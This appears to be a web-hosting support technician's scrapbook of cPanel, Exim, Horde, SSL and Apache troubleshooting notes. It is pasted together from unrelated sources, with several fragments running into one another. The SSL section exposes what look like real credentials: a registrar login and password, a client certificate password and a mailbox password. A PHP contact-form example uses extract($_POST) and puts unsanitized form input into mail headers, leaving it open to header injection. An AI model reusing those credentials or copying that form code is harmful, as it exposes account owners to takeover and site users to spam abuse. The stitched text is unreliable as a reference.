204.45.121.106 - - [06/Feb/2011:13:02:57 -0500] "GET /l_backuptoster_r.php?id=3506&ipAddr=204.45.121.106&serv_name=www.saba-pal.com HTTP/1.1" 200 28 "-" "-"
204.45.121.106 - - [06/Feb/2011:13:02:58 -0500] "GET /l_backuptoster_r.php?id=3511&ipAddr=204.45.121.106&serv_name=www.saba-pal.com HTTP/1.1" 200 28 "-" "-"
204.45.121.106 - - [06/Feb/2011:13:02:56 -0500] "GET /l_backuptoster_r.php?id=3500&ipAddr=204.45.121.106&serv_name=w
==========================

http://old.openspf.org/wizard.html


http://www.microsoft.com/mscorp/safety/content/technologies/senderid/wizard/default.aspx

Also Check all these URL's

http://support.uk-vps.com/index.php?_m=knowledgebase&_a=viewarticle&kbarticleid=10


http://www.mycutelife.net/sanju/help1/mailissue


http://helpdesk.hostmonster.com/index.php/kb/article/372

Error from Squirremail :

1)grep -rl ahoo.co.in /var/spool/exim/input/ | xargs rm

this will delete the mails from ythe queue which consist of ahoo.co.in

********************************************************************************************************

2) exim -bp |exiqsumm
exim -bp | exiqsumm | awk '{if ($1 >100)print  $0 }'  | sort -n
this will show the no of mails for each domain

to find who is sending mails

ps -C exim -fH eww

********************************************************************************************************
3) error in webmail
-----------------------------
Email delivery error Server replied:
1 Can't execute command '/usr/local/cpanel/bin/sendmail_cpanel -i -t -ftest@domainname.com'.
-----------------------------


Email delivery error Server replied: 255 Can't execute command '/usr/local/cpanel/bin/sendmail_cpanel -i -t -ftest@philadelphiamaven.com'.
-----------------------------

Can't execute command '/usr/local/cpanel/bin/sendmail_cpanel -i -t -f in squirrelmail

Solution
Quite a hard one to track down this one :-

First SSH into your server and run :-

/scripts/fixeverything
/scripts/upcp --force
/scripts/eximup --force

if that does not fix the issue run the following commands:-

cd /usr/sbin
mv sendmail sendmail.157979
ln -s /usr/sbin/exim /usr/sbin/sendmail
mv /etc/eximmailtrap /etc/eximmailtrap.157979

All sorted, it should be.


one more fix is given below.

root@abc [~]# cd /usr/sbin
root@abc [/usr/sbin]# mv sendmail sendmail.157979
root@abc [/usr/sbin]# ln -s /usr/sbin/exim /usr/sbin/sendmail
root@abc [/usr/sbin]# mv /etc/eximmailtrap /etc/eximmailtrap.157979

Exim e-mail filtering doesn't work for maildir

Currently cpanel e-mail filtering only supports mbox format.

Here is a workaround for maildir

###############################
vi /etc/exim.conf
Under DIRECTORS CONFIGURATION (there are two section file_transport under  DIRECTORS CONFIGURATION. Just add the below line with the first file_transport = address_file section.)

Under file_transport = address_file
add the line directory_transport = address_directory
example----->>
--------------------------------------
central_filter:
#!!# filter renamed allow_filter
  driver = redirect
  allow_filter
  no_check_local_user
  file = /etc/vfilters/${domain}
  file_transport = address_file
directory_transport = address_directory
  pipe_transport = virtual_address_pipe
  reply_transport = address_reply
  retry_use_local_part
  user = "${lookup{$domain}lsearch* {/etc/userdomains}{$value}}"
  no_verify
--------------------------------------
Under TRANSPORTS CONFIGURATION
add the following lines

address_directory:
debug_print = "T: address_directory for $local_part@$domain"
driver = appendfile
envelope_to_add = true
return_path_add = true
check_string = ""
escape_string = ""
maildir_format


chattr +ia /etc/exim.conf
/etc/init.d/exim restart
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

mbox to maildir conversion of single account

working one is the first
===========================================================================
Use this custom script to convert single mbox files to maildir format
 Convert mbox to maildir

wget http://batleth.sapienti-sat.org/projects/mb2md/mb2md-3.20.pl.gz
gunzip mb2md-3.20.pl.gz
 ./mb2md-3.20.pl -s path_to_inbox
===========================================================================

download this

http://perfectmaildir.home-dn.net/perfect_maildir/perfect_maildir.pl

usage

./perfect_maildir.pl ~Maildir/ <mbox.file

one example is given below

./perfect_maildir.pl /home/harrison/mail/cur < /home/harrison/mail/inbox
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

http://forums.cpanel.net/showthread.php?t=54012&highlight=address+book

error
No browseable address books

fix

Edit the file:

/usr/local/cpanel/base/horde/turba/config/sources.php

on the server with your favorite command line editor. Look for a line of code that reads like:

Code:

'public' => false, 'readonly' => false, 'admin' => array(), 'export' => true

Should be around line 132 I believe. Add 'browse' => true, to this section of code, so that it reads as:

Code:

'public' => false, 'readonly' => false, 'admin' => array(), 'browse' => true, 'export' => true

Then just save the file and log back into Horde.
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
------------------------------------------------------------
loops back to login page in horde

solution

mysql
mysql> use horde;
mysql> drop table horde_sessionhandler;
mysql> CREATE TABLE horde_sessionhandler (
session_id VARCHAR(32) NOT NULL,
session_lastmodified INT NOT NULL,
session_data LONGBLOB,

PRIMARY KEY (session_id)
) ENGINE = InnoDB;
------------------------------------------------------------

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

address book missing

http://forums.cpanel.net/showthread.php?t=43342&highlight=address+book

I found the error I had was caused by a wrongly named file in:
/usr/local/cpanel/base/horde/turba/scripts/upgrades/

1.2_to_2.0.sql should have been 1.2_to_2.0.mysql.sql

To fix:

cd /usr/local/cpanel/base/horde/turba/scripts/upgrades/

If the file is wrongly named, rename it:

mv 1.2_to_2.0.sql 1.2_to_2.0.mysql.sql

Or scp it over from another server with the correct filename

/usr/local/cpanel/bin/updatehorde
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
horde issue

login page again and again
if you recently made changes to your my.cnf file, see if you have

skip-innodb

if do, comment it out.

#skip-innodb
Reply With Quote

squirrelmail

error missing folders

solution

http://squirrelmail.org/wiki/MissingFolders

Check Options->Folder Preferences->Show only subscribed folders.

Try subscribing to those folders. Click "Folders" choose you folder(s), you can do multi-select, and click "Subscribe."

If this does not work it may be because SquirrelMail is configured for the wrong type of IMAP server, or does not support your IMAP server.

If the folders were not even listed, it is quite possible that they were stored on your local machine. Fire up your old mail reader and move the folders back onto the IMAP server.

Admins, please note that if your IMAP server is not listed that does NOT mean that it won't work. It just means that there are no "special" options (a.k.a. work-arounds) for your particular server.
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

spamassaqssin upgrade

vi   /home/.cpcpan/modules.versions

then change the version
/scripts/installspam
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

/scripts/convert2maildir is not working.

change the entry courier to 0 in /var/cpanel/cpanel.config
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

Hello,

The issue is that, previously server was running with mbox format with mails. Now these days cpanel is supporting maildir format as mbox is having many reported issues.

In mbox format

Individual messages are simply concatenated together, and saved in a single file. A special marker is placed where one message ends and the next message begins. Only one process can access the mbox file in read/write mode. Concurrent access requires a locking mechanism. Anytime someone needs to update the mbox file, everyone else must wait for the update to complete.

In maildir format

Individual messages are saved in separate files, one file per message. There is a defined method for naming each file. There's a defined procedure for adding new messages to the maildir. No locking is required. Multiple processes can use maildirs at the same time.


We are running the script to convert all mbox formatted mails to maildir format so as to fix the mail issue and it will take some more time for the completition. We really sorry for the inconvenience caused and we will update you once this is over.

&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

squirrelmail issue

ERROR: Connection dropped by IMAP server

Courier-IMAP is linked against libfam, and that library is probably missing.
Use SSH for the following:

How to check

root@server#  ldd /usr/lib/courier-imap/bin/imapd
libfam.so.0 => not found
libgdbm.so.2 => /usr/lib64/libgdbm.so.2 (0x0000002a9566c000)
libcourierauth.so.0 => /usr/lib64/courier-authlib/libcourierauth.so.0 (0x0000002a95772000)
libc.so.6 => /lib64/tls/libc.so.6 (0x0000002a9587c000)
/lib64/ld-linux-x86-64.so.2 (0x0000002a95556000)



How to fix

root@server# yum install gamin
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&ssl logs 

SSL error 

root@saint [/home/3gteam]# /scripts/ssl_crt_statusFetching SSL from shell


go to 
cd /etc
cd ssl
cd certs 
cat domainname.csr

Ex    cat balihaitours.com.csr

Also same for key

cd /etc/ssl/private

cat domainname.com.key

Ex. cat balihaitours.com.key
SSL Installation :

1 St Step : 
Once the client has paid $73 for SSL installations and dedicated : give him following reply and ask him to provide the details to generate the CSR for the domain.
and meanwhile assign the dedicated IP for his domain.

1st Reply : 

Hello,

We have assigned dedicated IP 66.7.221.91 for your domain glassbasins.co.uk and the domain witll take 1 to 2 hours to resolve with dedicated IP.

In order to get your site work with https, you will need to install ssl certificate for your domain.

Please provide us following information, we will then generate certificate signing requiest for you, you will need to provide this csr to certificate authority and purchase certificate.


Contact Info
Email Address the Cert will be sent to: amit@glassbasins.co.uk
Cert Info (this will be displayed when a user connects) 
Host to make cert for Country (2 letter Abbrivation): UK. 
State: Wembley
City: Middlesex
Company Name: Glassbasins Limited
Company Division:Sales
Email:sales@glassbasins.co.uk
Password:glass7basins

-----------------------------------------------------------------------------------------------------------------------------------------------------
2.  Once he has provide us the details as above , then next step is to create the CSR.
- Generate the ssladmin email account from client's cpanel having the email details given below : 
   Email id     : ssladmin@glassbasins.co.uk
   Password :  ssladmin

-  login into server's WHM >> open Generate a SSL Certificate and Signing Request section 
-  Email Address the Cert will be sent to : team@site.com
-  Email: client's email id provided in th info for creation of CSR
-  Fill all the info provided in preveous email.
-  Country (2 letter abbreviation): Ex. UK
-  once you fill all the info
-  click on "Create": button 
-  It will generate the CSR like :
   Certificate Request and Key for glassbasins.co.uk

  CSR email sent to team@site.com
  -----BEGIN CERTIFICATE REQUEST-----
MIICAzCCAWwCAQAwgaUxCzAJBgNVBAYTAlVLMRAwDgYDVQQIEwdXZW1ibGV5MRIw
EAYDVQQHEwlNaWRkbGVzZXgxHDAaBgNVBAoTE0dsYXNzYmFzaW5zIExpbWl0ZWQx
DjAMBgNVBAsTBVNhbGVzMRowGAYDVQQDExFnbGFzc2Jhc2lucy5jby51azEmMCQG
CSqGSIb3DQEJARYXc2FsZXNAZ2xhc3NiYXNpbnMuY28udWswgZ8wDQYJKoZIhvcN
AQEBBQADgY0AMIGJAoGBANB4nlBfSCkyu9I8H4PJCgE1dMhGjQT3ZCsZDoib+Qyl
BxOg9SDvV1ySORtYCbJfw3AHK3/pJKcvDvb/niz/FZIeAICHT6E2BMgKI7wcXD22
1LbtMXuf6bR4K7PdyegJ9i9NIboL2rldMQ0bEhHcvTmrvfXI6aXB/i9VvqTKIxEn
AgMBAAGgHTAbBgkqhkiG9w0BCQcxDhMMZ2xhc3M3YmFzaW5zMA0GCSqGSIb3DQEB
BQUAA4GBAHQCzJZ+hGJsPTR5X4YEEhd10Tcbt95YhVnOo3cyY5YrrzUjIDMe+LAS
kE5e+Fhmz3aWLGCFy9Bi9z6dIVOOiiImdZStGKHhWDkRr2SasSG/4YO0NoVScNQT
xloJg4XM/8oTjYU6uHQjOrlQyJ69pTylKfMiXE4kR0XGJUJIVKe2
-----END CERTIFICATE REQUEST-----


this will be from first box : Signing Request
-----------------------------------------------------------------------------------------------------------------------------------------------------
3rd Step :   Login to Enom at http://enom.com  
-  Username : vicks
-  Password :  v383vj9j
- Go to >> SSL certificates >> Manage .
- you will see the 
   Type	                    Domain	          Status	                          Expiration
  RapidSSL		                            Awaiting   Configuration	       9/21/2010

-  Click on RapidSSL	 
-  Click on "Outside Hosting"
-  It will provide you the box to put the CSR 
-  Select web server as : cPanel
-  Put the CSR 
- Click on  purchase 
- Select an approval email for this certificate and set the emails account which was created in 2nd step.
- the status will change to 

Type	Domain	                  Status	Expiration
RapidSSL	glassbasins.co.uk	Processing	9/21/2010

- Now it will take 2-3 hours to get the confirmation to approve it.
- Add the note in the ticket like :

I have ordered SSL for : glassbasins.co.uk at Enom. Approval email address set to : ssladmin@glassbasins.co.uk Password : ssladmin .
-----------------------------------------------------------------------------------------------------------------------------------------------------
4th Step : 
-----------------------------------------------------------------------------------------------------------------------------------------------------
SSL Certificate Installation
__________________________________________________________________________

Introduction

Refers to the digital certificate used with the most popular security protocol on the Internet. When you make a purchase on the Web and notice the closed lock icon at the top or bottom of your browser or the HTTPS:// prefix in the URL, it means you have established a secure SSL connection.

Your browser has examined the signed certificate received from the Web site, determined it to be authentic and secret keys have been computed at both ends of the connection. All the information you enter online is encrypted before being sent to the server


1 - SSL Certificate creation with cPanel WHM

a. Open a Web browser and navigate to:

https://serverIP:2086

b. Enter your root user name and the password that you specified when you set up  your         account
c. Click OK.
d. Click Generate a SSL Certificate and Signing Request through the Web SSL/TLS menu
e. Enter the following information:
-Email address (where cert is sent)
-Host name
-Country
-State
-City
-Company Name
-Company Division
-Email address (displayed in cert)
-Password
f. Click Create. Your certificate information will display. Copy the RSA private key output      into a text file so that you are able to use your certificate. Save this information carefully.
g. Click SSL Manager through SSL/TLS menu
h. Click the floppy drive icon of the appropriate certificate signing request in the CSRS       column. Your certificate request information will display.
i. Get your cert signed using the certificate request information through SSL signing authority. The signing authority will send you a signed CRT and CA file. This file is referred to as an intermediate certificate or chaining file.
 Notes:

 
2 - SSL Certificate installation with cPanel WHM

a.Open a Web browser and navigate to:

https://serverIP:2086

b. Enter your root user name and the password you specified when you set up your account.
c. Click OK.
d. Click Install a SSL Certificate and Setup the Domain through Web SSL/TLS menu
e. Paste your signed SSL certificate from the signing authority into the crt text box.
f. Paste your RSA private key info saved from the previous procedure into the key text box.
g. If received from the signing authority, paste the CA bundle (or intermediate certificate) into the ca text box.
h. Confirm the domain, user, and IP address, and then click Do it.

Notes:



Notes about creating the procedures





Adding a Rapid SSL logo  on the home page,

Just add the code given below to add the SSL logo inside index web page


<a href="http://www.prontossl.com" target="_blank"><img style="border: 0;" src="https://www.prontossl.com/siteseal/rapidssl.gif" width="90" height="50" alt="Secured By RapidSSL from ProntoSSL" title="Secured By RapidSSL from ProntoSSL"></a>

Also you can refer :

http://www.prontossl.com/rapid

1001  [Oct/27/2010 - 12:51:53] cd /etc/ssl/private/
 1002  [Oct/27/2010 - 12:51:55] ll
 1003  [Oct/27/2010 - 12:52:14] vi www.stephanieannasartshop.com.key.old.1287727551
>>>>>>>>>>>>>>>>>>Display Summary Statistics for Each Protocol

Simply use netstat -s:
# netstat -s | less

# netstat -t -s | less

# netstat -u -s | less

# netstat -w -s | less

# netstat -sServer Monitoring Commands  : 

A : 

http://www.question-defense.com/2009/03/31/how-to-get-detailed-information-about-a-linux-pid-process-id

How to Get Detailed Information About a Linux PID, Process ID

To get detailed information about a Linux PID you can use the strace command. If strace is not installed it can be installed via yum using the command below.

Strace Install:

Use below  commands to install strace command : 
*******
yum install strace

***********

Below is a sample output from using the strace command on a Litespeed web server process.


============================================
To search process ID :

ls -alh /proc/4846  |grep cwd

root@white [~]# /usr/local/cpanel/bin/rebuild_phpconf --currenthttp://kmaiti.blogspot.com/2010/07/how-to-install-suphp-on-linux-server.html


How to install suPHP on linux server?
Guys,

This is not my article. However, I have searched it in Google and got the results. I am pasting it only so that you can easily get it.

=======================================
suPHP is a tool that allows PHP scripts to be executed with the permissions of their owners. By not running PHP script using web server’s user rights, suPHP increase the server security.

First install httpd-devel and compiler tools:
yum install httpd-devel gcc gcc-c++ make
Download suPHP source code and extract it
wget http://www.suphp.org/download/suphp-0.7.1.tar.gz
tar -xvzf suphp-0.7.1.tar.gz
cd suphp-0.7.1
Now we compile suPHP
./configure --with-apxs=/usr/sbin/apxs --with-apache-user=apache --with-logfile=/var/log/httpd/suphp_log --with-setid-mode=paranoid --sysconfdir=/etc --with-apr=/usr/bin/apr-1-config --with-php=/usr/bin/php-cgi --enable-SUPHP_USE_USERGROUP=yes

make
make install
Next create suphp.conf to configure Apache so it will call suPHP for interpreting PHP scripts
nano /etc/httpd/conf.d/suphp.conf
Add this configuration:
LoadModule suphp_module modules/mod_suphp.so
suPHP_Engine on
AddType application/x-httpd-php .php

suPHP_AddHandler application/x-httpd-php

Save the file and the next step is to disable mod_php configuration as we are now using suPHP
mv /etc/httpd/conf.d/php.conf /etc/httpd/conf.d/php.conf.disabled
After we finished with Apache configuration, next we create suphp.conf file which contain suPHP configuration
nano /etc/suphp.conf
and copy this to the new file:
[global]
;Path to logfile
logfile=/var/log/suphp.log

;Loglevel
loglevel=info

;User Apache is running as
webserver_user=apache

;Path all scripts have to be in
docroot=/var/www:${HOME}/public_html

;Path to chroot() to before executing script
;chroot=/mychroot

; Security options
allow_file_group_writeable=false
allow_file_others_writeable=false
allow_directory_group_writeable=false
allow_directory_others_writeable=false

;Check wheter script is within DOCUMENT_ROOT
check_vhost_docroot=true

;Send minor error messages to browser
errors_to_browser=false

;PATH environment variable
env_path=/bin:/usr/bin

;Umask to set, specify in octal notation
umask=0077

; Minimum UID
min_uid=0

; Minimum GID
After Apache and suPHP is configured, we need to add suPHP_UserGroup option on each virtual hosting we hosted on the server. For example, the domain.com virtual host would look like:

DocumentRoot /home/user/public_html

allow from all
Options +Indexes

ServerName domain.com
ErrorLog /var/log/httpd/domain.com
LogLevel warn
suPHP_UserGroup user user

"user" should be replaced with the real username on your server who own the PHP scripts. Make sure all file owned by the "user" username otherwise you’ll get 500 error code (Internal Server Error).
Now let's test the configuration
service httpd configtest
if everything is OK, restart the Apache server
=======================================

Try :) 
http://webhostingsupport.info/suspend page can be due to .htaccess redirect code
=============================================================
Check IP accessing servers for syn attack :

netstat -an |grep SYN_RECV|awk '{print $5}' |sort|uniq

netstat -plan |grep :80 | grep SYN | awk '{print $5}' |cut -d: -f1 |sort |uniq -c |sort -n

netstat -n -p TCP

http://24x7servermanagement.com/blog/?p=261

=============================================================
Stopping SYN Attacks using IPTables

http://www.webhostingtalk.com/showthread.php?t=355411

=============================================================

Heres a bash script I made to stop SYN attacks on your server you need root,


#!/bin/bash



/sbin/modprobe ip_tables

/sbin/modprobe ip_conntrack

/sbin/modprobe ip_conntrack_ftp



rm /root/.dyn*



echo "Setting kernel tcp parameters to reduct DoS effects"



#Reduce DoS'ing ability by reducing timeouts

echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout

echo 1800 > /proc/sys/net/ipv4/tcp_keepalive_time

echo 1 > /proc/sys/net/ipv4/tcp_window_scaling

echo 0 > /proc/sys/net/ipv4/tcp_sack

echo 1280 > /proc/sys/net/ipv4/tcp_max_syn_backlog



#ANTISPOOFING

for a in /proc/sys/net/ipv4/conf/*/rp_filter;

do

echo 1 > $a

done



##

#NO SOURCE ROUTE

for z in /proc/sys/net/ipv4/conf/*/accept_source_route;

do

echo 0 > $z

done

#SYN COOKIES

echo 1 > /proc/sys/net/ipv4/tcp_syncookies

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

#echo $ICMP_ECHOREPLY_RATE > /proc/sys/net/ipv4/icmp_echoreply_rate

echo "1" > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses

echo "1" > /proc/sys/net/ipv4/conf/all/accept_redirects

echo "1" > /proc/sys/net/ipv4/conf/all/log_martians



# NUMBER OF CONNECTIONS TO TRACK

echo "65535" > /proc/sys/net/ipv4/ip_conntrack_max



# Set default policies

/sbin/iptables -P INPUT ACCEPT

/sbin/iptables -P OUTPUT ACCEPT

/sbin/iptables -P FORWARD DROP



/sbin/iptables -F

/sbin/iptables -F INPUT

/sbin/iptables -F OUTPUT

/sbin/iptables -F FORWARD

/sbin/iptables -F -t mangle

/sbin/iptables -X



/sbin/iptables -A INPUT -i lo -j ACCEPT

/sbin/iptables -A INPUT -d 127.0.0.0/8 -j REJECT



/sbin/iptables -A INPUT -i eth0 -j ACCEPT



/sbin/iptables -A INPUT -m state --state INVALID -j DROP



### chains to DROP too many SYN-s ######

/sbin/iptables -N syn-flood

/sbin/iptables -A syn-flood -m limit --limit 100/second --limit-burst 150 -j RETURN

/sbin/iptables -A syn-flood -j LOG --log-prefix "SYN flood: "

/sbin/iptables -A syn-flood -j DROP

========================================================================
call it syn.bash and then excute it, also replace /sbin/iptables to the path of the iptables program

========================================================================How to + extract + untar + unzip .tar.gz file on linux ?
Guys,

I refer following commands :

Examples :
=========
gzip -d guiderj_content.sql.gz
tar -xvzf guiderj_content.sql.gz
tar -jxvf eaccelerator-0.9.5.3.tar.bz2
=========

try :) 
TCP/UDP Port Numbers


Port 21 –>	 TCP –>	 FTP (File Transfer Protocol)
Port 22 –>	TCP/UDP –>	SSH (ssh,scp copy or sftp)
Port 23 –>	TCP/UDP –>	Telnet
Port 25 –>	 TCP/UDP –>	SMTP (for sending outgoing emails)
Port 43 –>	 TCP –>	 WHOIS function
Port 53 –>	 TCP/UDP –> DNS Server (DNS lookup uses UDP and Zone transfers use TCP)
Port 70 –>	 TCP –>	 Gopher Protocol
Port 79 –>	 TCP –>	 Finger protocol
Port 110 –>	 TCP –>	 POP3 (for receiving email)
Port 119 –>	 TCP –>	 NNTP (Network News Transfer Protocol)
Port 143 –>	 TCP/UDP –>	 IMAP4 Protocol (for email service)
Port 194 –>	 TCP –>	 IRC
Port 389 –>	 TCP/UDP –>	 LDAP (light weight directory access)
Port 443 –>	 TCP –>	 Secure HTTP over SSL (https)
Port 465 –>	 TCP –>	 Secure SMTP (email) using SSL
Port 990 –>	 TCP/UDP –>	 Secure FTP using SSL
Port 993 –>	 TCP –>	 Secure IMAP protocol over SSL (for emails)
Port 1433 –>	 TCP/UDP –>	 Microsoft SQL server port
Port 2082 –>	 TCP –>	 CPanel default port
Port 2083 –>	 TCP –>	 CPanel over SSL
Port 2086 –>	 TCP –>	 CPanel Webhost Manager (default)
Port 2087 –>	 TCP –>	 CPanel Webhost Manager (with https)
Port 2095 –>	 TCP –>	 CPanel Webmail
Port 2096 –>	 TCP –>	 Cpanel secure webmail over SSL
Port 2222 –>	 TCP –>	 DirectAdmin Server Control Panel
Port 3306 –>	 TCP/UDP –>	 MySQL Database Server
Port 4643 –>	 TCP –>	 Virtuosso Power Panel
Port 5432 –>	 TCP –>	 PostgreSQL Database Server
Port 8080 –>	 TCP –>	 HTTP port (alternative one for port 80)
Port 8087 –>	 TCP –>	 Plesk Control Panel Port (default)
Port 8443 –>	 TCP –>	 Plesk Server Control Panel over SSL
Port 9999 –>	 TCP –>	 Urchin Web Analytics
Port 10000 –>	 TCP –>	 Webmin Server Control Panel
Port 19638 –>	 TCP –>	 Ensim Server Control Panel

http://www.bookrags.com/wiki/List_of_TCP_and_UDP_port_numbers

astra kernel: CPU2: Temperature above threshold

root@astra [~]# cat /var/log/messages | grep Temperature | wc -lhttp://www.webmasterworld.com/perl/3099327.htm

#!/usr/bin/perl 
# 
# =========== 
# helloworld.pl 
# =========== 
# 
print "content-type:text/html\n\n"; 
print "<html>\n"; 
print "<head>\n"; 
print "<title>Hello World</title>\n"; 
print "</head>\n"; 
print "<body>\n"; 
print "<b>Hello World!</b><br>\n"; 
print "</body>\n"; 
print "</html>\n"; 
# 
# 

Script starts at line starting with #!/usr/bin/perl, cut and paste to a text editor and save file as helloworld.pl

1. upload perl file to the /cgi-bin/ folder on your server, (use FTP and upload as ASCII text)

2. set the permissions for the file to 755, (CHMOD 755)

3. enter URL http://www.yourdomain.com/cgi-bin/helloworld.pl in browser

4. if it says Hello World! perl is working.


*************************************************************************************

http://encodable.com/internal_server_error/

500 Internal Server Error  for cgi pearl scrpt.
...and how to fix it.

When running a Perl CGI script, you may see the "Internal Server Error" message in your browser.  The message will usually also say something like "please check the server's error-log for more information."  You should do that -- the message printed to the error log will often tell you exactly what the problem is.  The Apache error log, for example, is often located at /var/log/apache/error_log or /var/log/apache2/error_log (or sometimes "error.log").

If you don't have access to the error log, the next simplest thing to do is to make a copy of the script, then open the original and delete all of its contents, and add just these 3 lines to the file:

#!/usr/bin/perl
print "Content-type: text/plain\n\n";
print "testing...\n";

(Note: if the server is a Windows system, then replace the first line above with either #!perl or #!c:\path\to\perl.exe.)

Now try to access the page in your browser again.  If it works (you see "testing..." as its output) then you know that your server is at least configured properly for running Perl CGI scripts.  If it doesn't work, then that may mean the problem is in the server configuration, rather than with your CGI script.  (For example, are you sure you actually have Perl installed?  Virtually all UNIX/Linux/OS X servers do, but Windows servers usually need to have it installed manually, from a package like ActivePerl.)

Assuming your server is configured properly for running CGI scripts, your problem may be one of these common causes for the Internal Server Error:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>HTML Mail Form</title>
</head>
<body>
<form action="send_mail.php" method="post">
Name: <input type="text" name="name" size="30" /><br />
Email: <input type="text" name="email" size="30"/><br />
Subject: <input type="text" name="subject" size="30"/><br />
Text:<textarea name="text" name="text" cols="50" rows="10"></textarea><br />
<input type="submit" name="submit" value="Send" />
</form>
</body>
</html>


Save it As: contact_us.html

Create a new file and insert the following code:

<?php
@extract($_POST);
$name = stripslashes($name);
$email = stripslashes($email);
$subject = stripslashes($subject);
$text = stripslashes($text);
mail(' youremail@domain.com',$subject,$text,"From: $name <$email>");
echo("Thank you for your interest, your e-mail was sent.");
?>
Save it As: send_mail.php

replace the youremail@domain.com with the email id.
Problem: Troubleshooting Your Web Page
Entry: 0288 
Solution: 
If you're having trouble accessing your pages via the Prism web server, here are some possible symptoms and solutions.
•	Symptom: Error code 404: File Not found
•	Symptom: Error code 403: Forbidden
•	Symptom: Error code 200: Forbidden 
•	Symptom: Enter username for PageTestAccess at www.prism.gatech.edu:
•	Symptom: Error code 401: Authorization Required
________________________________________
•	Symptom: Error code 404: File Not found, The requested URL /~gt9999z/ was not found on this server. 
o	Possible reason: Your Prism home directory (~) does not have adequate unix file permissions to allow the server to access your web pages. The minimum file permissions required for directories are world ("other") execute permissions. 
Solution: Add execute permission to your Prism home directory:
chmod o+x ~
o	Possible reason: Your ~/public_html directory does not exist. 
Solution: Create your public_html directory, and give it the required permissions:
mkdir ~/public_html
chmod o+x ~/public_html
•	Symptom: Error code 403: Forbidden, You don't have permission to access /~gt9999z/ on this server. 
o	Possible reason: Your home directory does not have adequate unix file permissions to allow the server to access your web pages. The minimum file permissions required for directories are world ("other") execute permissions. 
Solution: Add execute permission to your home directory:
chmod o+x ~
o	Possible reason: Your ~/public_html directory does not have adequate unix file permissions to allow the server to access your web pages. The minimum file permissions required for directories are world ("other") execute permissions. 
Solution: Add execute permission to your ~/public_html directory:
chmod o+x ~/public_html
o	Possible reason: You have a .htaccess file that does not have adequate unix file permissions. The file needs to be world-readable. 
Solution: Chmod the .htaccess file to give it the required permissions:
chmod o+r ~/public_html/.htaccess ~/.htaccess
Or more completely:
chmod o+r `find ~ -name .htaccess -print` 
o	Possible reason: The index file for your web pages, "index.html", does not exist. 
Solution: Create your main index.html file, and give it the required permissions:
touch ~/public_html/index.html
chmod o+r ~/public_html/index.html
•	Symptom: Error code 200: Forbidden, You don't have permission to access /~gt1234a/index.html on this server. 
o	Possible reason: Your index.html file does not have adequate unix file permissions to allow the server to read the file. The minimum file permissions required for files are world ("other") read permissions. 
Solution: Add read permission to your index.html file:
chmod o+r ~/public_html/index.html
•	Symptom: Enter username for PageTestAccess at www.prism.gatech.edu:
•	Symptom: Error code 401: Authorization Required, This server could not verify that you are authorized to access the document you requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required. 
o	Possible reason: You have unneeded Auth* directives in your ~/public_html/.htaccess file. 
Solution: Rename or remove the .htaccess file, or remove the Auth* directives from the .htaccess file:
cd ~/public_html
mv .htaccess htaccess.old
sed "/^Auth/d" htaccess.old > .htaccess
o	Possible reason: You have a .htaccess file in your Prism home directory with unneeded Auth* directives. 
Solution: Rename or remove the .htaccess file, or remove the Auth* directives from the .htaccess file:
cd ~
mv .htaccess htaccess.old
sed "/^Auth/d" htaccess.old > .htaccess

To use rar we need unrar installed on server. 

Login as Root: 

at / run the following command:

wget http://dag.wieers.com/packages/unrar/unrar-3.6.2-1.el4.rf.i386.rpm

check the .rpm file here and then run the following command to install 

rpm -ivh unrar-3.6.2-1.el4.rf.i386.rpm

Now unrar is installed. 

Use following command to unrar the .rar file 

unrar e -kb rarfile.rarUpgrade wordpress :

http://codex.wordpress.org/Upgrading_WordPress

Download the wordpress zip file  : http://wordpress.org/download/

====================================================================

WORDPRESS UPGRADE : -

Please follow the instruction for upgrading your wordpress,

Backup your database. Read Backing Up Your Database for a detailed explanation. 
Backup ALL your WordPress files in your WordPress directory. Don't forget your .htaccess file. 
Verify the backups you created are there and usable. This is essential. 
Deactivate ALL your Plugins. 
Ensure first four steps are completed. Do not attempt the upgrade unless you have completed the first four steps. 
Download and extract the WordPress package from http://wordpress.org/download/. 
Delete the old WordPress files on your site, but DO NOT DELETE 
wp-config.php file; 
wp-content folder; Special Exception: the wp-content/cache and the wp-content/plugins/widgets folders should be deleted. 
wp-images folder; 
wp-includes/languages/ folder--if you are using a language file do not delete that folder; 
.htaccess file--if you have added custom rules to your .htaccess, do not delete it; 
robots.txt file--if your blog lives in the root of your site (ie. the blog is the site) and you have created such a file, do not delete it. 
Upload the new files from your computer's hard drive to the appropriate WordPress folder on your site. 
Run the WordPress upgrade program and follow the instructions on the screen. 
Update Permalinks and .htaccess. Update your Permalink Structure and merge the custom rules, if necessary, into your .htaccess file. 
